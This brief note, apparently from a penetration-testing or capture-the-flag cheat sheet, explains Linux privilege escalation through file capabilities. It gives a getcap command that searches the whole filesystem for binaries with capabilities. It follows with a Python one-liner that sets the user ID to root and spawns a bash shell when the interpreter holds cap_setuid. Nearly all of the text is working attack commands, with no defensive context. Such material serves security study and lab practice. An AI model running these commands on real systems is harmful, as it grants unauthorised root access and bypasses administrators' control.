getcap is a program to get capabilities of others. The one which is a way in is cap_setuid
getcap -r / 2>/dev/null
If anything’s listed which lets you script, you can use that to get a shell. Here’s a Python example:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'